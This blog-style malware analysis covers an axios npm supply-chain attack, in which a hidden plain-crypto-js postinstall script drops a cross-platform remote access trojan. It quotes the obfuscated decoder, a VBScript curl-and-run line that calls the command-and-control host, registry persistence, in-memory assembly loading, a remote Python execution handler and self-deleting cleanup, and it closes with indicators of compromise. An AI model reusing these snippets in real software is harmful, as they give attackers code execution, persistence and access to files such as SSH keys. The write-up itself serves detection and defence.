Press enter or click to view image in full size
You install a package, npm resolves dependencies, and everything behaves exactly the way it is supposed to. That routine is so normal that you stop thinking about it. But this time, one of those dependencies is not there to help your application run. It is there to execute code on your machine the moment installation finishes.
That is exactly what happened with axios. For a brief window, installing axios did not just give developers an HTTP client. It delivered a fully staged, cross-platform remote access trojan that executed silently before you even opened your editor. No prompts, no warnings, no visible signs. Just install, and you are already compromised.
And the most uncomfortable part is this: axios itself was never malicious.
If you compare a clean version of axios with the compromised one, you will not find suspicious logic buried inside the source code. No obfuscation, no injected functions, nothing obvious. The only real change sits quietly inside package.json.
{
"dependencies": {
"follow-redirects": "^1.15.11",
"form-data": "^4.0.5",
"proxy-from-env": "^2.1.0",
"plain-crypto-js": "^4.2.1"
}
}That final dependency is the entire attack. It is not imported anywhere, not used anywhere, and contributes nothing to axios. That absence is intentional. The package is not meant to be used. It is meant to be installed so that npm executes it automatically.
Before any malware executes, something much simpler happens in the background. The maintainer account gets compromised. Once the attacker has access to a trusted npm publisher account, they no longer need to modify source code or submit pull requests. They can publish directly to npm using the same identity that developers already trust.
From the outside, everything still looks legitimate. The package name is the same, the maintainer is the same, and the ecosystem trust remains intact. The difference only appears when you look at how the package was published. Legitimate versions were pushed through CI pipelines with verifiable provenance, while the malicious versions were published directly using the npm CLI with stolen credentials. There is no corresponding commit and no CI trail. You install something that appears real, but it does not exist in the actual source history.
Before axios was modified, the attacker prepared a package called plain-crypto-js. At first glance, it looks completely normal. The name resembles legitimate crypto libraries, the structure looks clean, and earlier versions contained no malicious behavior. That is not accidental. It builds trust.
Then a new version introduces a single critical change:
{
"scripts": {
"postinstall": "node setup.js"
}
}That one line is enough. npm lifecycle scripts are executed automatically during installation, and they run with the same privileges as the user performing the install.
When someone runs:
npm install [email protected]npm installs dependencies and then silently executes:
node setup.jsThere is no warning and no prompt. From the developer’s perspective, it is just installation. From the attacker’s perspective, it is immediate code execution.
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((c, i) => {
const S = c.charCodeAt(0);
const a = E[7*i*i % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};It looks complex, but it is not. The script reverses strings, decodes base64, and applies XOR transformations. These layers are meant to slow analysis, not prevent it.
After deobfuscation, the real logic becomes clear almost immediately.
const C2_URL = "hxxp://sfrclak[.]com:8000/6202033";
const platform = require("os").platform();The script then selects a payload based on the operating system.
if (platform === "win32") {
// Windows payload
} else if (platform === "darwin") {
// macOS payload
} else {
// Linux payload
}There is no complex detection logic. It simply determines the environment and proceeds.
On Windows, the malware uses built-in tools to stay quiet and blend in, but what looks like a simple PowerShell execution is actually the result of multiple stages that begin inside the dropper.
When setup.js runs, it detects the win32 platform and starts preparing the next stage dynamically. It first locates the system PowerShell binary:
where powershellInstead of using it directly, it copies it into the ProgramData directory:
%PROGRAMDATA%\wt.exeThis is done to make the binary appear legitimate. The name wt.exe matches Windows Terminal, so it does not immediately look suspicious, and it also leaves a persistent copy on disk.
After that, the dropper creates a VBScript file and writes it to the system’s temporary directory:
%TEMP%\6202033.vbsThis file becomes the next execution layer. The contents of the VBScript define how the actual payload is fetched and executed:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages[.]npm[.]org/product1"" ""hxxp://sfrclak[.]com:8000/6202033"" > ""%TEMP%\6202033.ps1"" & ""wt.exe"" -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" ""hxxp://sfrclak[.]com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f", 0, FalseOnce written, this VBScript is executed silently using Windows Script Host:
cscript "%TEMP%\6202033.vbs" //nologoAt this stage, control has already moved away from Node.js. The VBScript launches cmd.exe, which uses curl to send a POST request to the command and control server. The response from that request is saved directly as a PowerShell script in the same temporary directory:
%TEMP%\6202033.ps1This is important because the PowerShell payload does not exist on disk until this moment. It is delivered dynamically from the server at runtime.
As soon as the file is written, it is executed using the renamed PowerShell binary:
wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1The execution runs in the background with no visible window and bypasses execution policy restrictions. Immediately after launching the script, it deletes itself:
del %TEMP%\6202033.ps1 /fThe VBScript is also removed right after execution, so both %TEMP%\6202033.vbs and %TEMP%\6202033.ps1 are cleaned up, leaving very little trace of the initial stages.
From here, the attack continues inside the PowerShell payload. It establishes persistence through the registry:
$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$batFile = Join-Path $env:PROGRAMDATA "system.bat"Set-Content -Path $batFile -Value $batCont -Encoding ASCII
Set-ItemProperty -Path $regKey -Name "MicrosoftUpdate" -Value $batFile
It then loads additional code directly into memory using .NET reflection:
function Do-Action-Ijt {
param([string] $ijtdll, [string] $ijtbin, [string] $param) [byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)
[byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)
$assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))
}
By this point, execution has moved away from disk-based files and into memory, which makes the activity harder to detect using traditional methods.
Join Medium for free to get updates from this writer.
What appears to be a simple PowerShell execution is actually a multi-stage chain where a Node.js postinstall script drops a VBScript into %TEMP%, which then downloads a PowerShell payload, executes it in a hidden context, and deletes both the script and payload to minimize forensic evidence.
On Linux, the approach is simpler but effective. A Python script is dropped into /tmp and executed in the background.
python3 /tmp/ld.py &That script begins by collecting system information:
def get_system_info():
manufacturer = open("/sys/class/dmi/id/sys_vendor").read().strip()
product_name = open("/sys/class/dmi/id/product_name").read().strip()It also enumerates running processes:
def get_process_list():
for pid in os.listdir("/proc"):
if pid.isdigit():
passBut it does not stop at reconnaissance. The script also includes a handler that allows the attacker to execute arbitrary commands and code on the system:
def do_action_scpt(scpt, param):
if not scpt:
return do_run_scpt(param)
payload = base64.b64decode(scpt).decode("utf-8", errors="strict")
result = subprocess.run(
["python3", "-c", payload] + shlex.split(param),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)This is where the behavior shifts from passive collection to active control. The malware can either execute direct shell commands or run base64-encoded Python payloads received from the command and control server. That effectively gives the attacker remote code execution on the system, allowing them to run arbitrary logic without dropping additional files to disk.
On macOS, the payload is deployed as a native binary in a path that mimics system components.
/Library/Caches/com.apple.act.mondThis location is chosen deliberately. Files under /Library/Caches are common and rarely inspected, which helps the payload blend in with normal system activity.
Execution is triggered through AppleScript, allowing the binary to run silently in the background:
do shell script "/Library/Caches/com.apple.act.mond"Unlike the Windows flow, where multiple scripting layers are used, macOS execution is more direct. Once the binary is written to disk, it is immediately invoked without requiring additional staging scripts.
The binary itself is a Mach-O universal binary:
Mach-O universal binary (x86_64 + arm64)This ensures compatibility across both Intel and Apple Silicon systems, allowing the same payload to execute regardless of hardware architecture.
After execution, the malware reaches out to its command and control server.
POST /6202033 HTTP/1.1
Host: sfrclak[.]com:8000
User-Agent: mozilla/4.0 (compatible; msie 8.0)
Content-Type: application/x-www-form-urlencodedThe use of plain HTTP instead of HTTPS reduces complexity and avoids potential inspection issues.
The initial request sends system and filesystem data:
{
"type": "FirstInfo",
"uid": "random-id",
"os": "linux_x64"
}Followed by periodic updates:
{
"type": "BaseInfo",
"hostname": "dev-machine",
"processList": "..."
}The RAT supports multiple command types that allow full interaction with the system.
{
"type": "runscript",
"Script": "<base64>",
"Param": "args"
}{
"type": "peinject",
"IjtDll": "<dll>",
"IjtBin": "<binary>"
}{
"type": "rundir",
"ReqPaths": [
{"path": "/home/user/.ssh"}
]
}This allows arbitrary code execution, file enumeration, and payload injection.
From the moment the install command runs:
npm install [email protected]Dependencies are resolved within seconds. The malicious package is installed and its postinstall script executes almost immediately. The payload is decoded, the system is fingerprinted, and the command and control server is contacted. Within roughly fifteen seconds, the second-stage payload is downloaded and executed.
By the time installation completes, the system is already compromised.
Once execution is complete, the loader removes itself.
fs.unlink(__filename);
fs.unlink("package.json");
fs.rename("package.md", "package.json");The malicious script disappears, and the package structure is restored to something that looks completely normal.
The attack leaves behind a consistent set of package, network, and filesystem indicators that can be used to identify affected systems.
Malicious Packages:
[email protected] → 2553649f2322049666871cea80a5d0d6adc700ca
[email protected] → d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
[email protected] → 07d889e2dadce6f3910dcbc253317d28ca61c766Network:
sfrclak[.]com (142.11.206[.]73:8000)
hxxp://sfrclak[.]com:8000/6202033
POST → packages[.]npm[.]org/product[0-2]
User-Agent → mozilla/4.0 (compatible; msie 8.0)Filesystem:
Windows:
%PROGRAMDATA%\wt.exe
%PROGRAMDATA%\system.bat
%TEMP%\6202033.vbs
%TEMP%\6202033.ps1
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdateLinux:
/tmp/ld.py
macOS:
/Library/Caches/com.apple.act.mond
Safe Version:
[email protected] → 7c29f4cf2ea91ef05018d5aa5399bf23ed3120ebNothing was exploited. No vulnerability was triggered. No protections were bypassed. The attacker did not break npm or axios.
They used them exactly as designed.
Because in reality:
npm installis not just installing code.
It is executing it.
And this time, it executed something that should never have been there.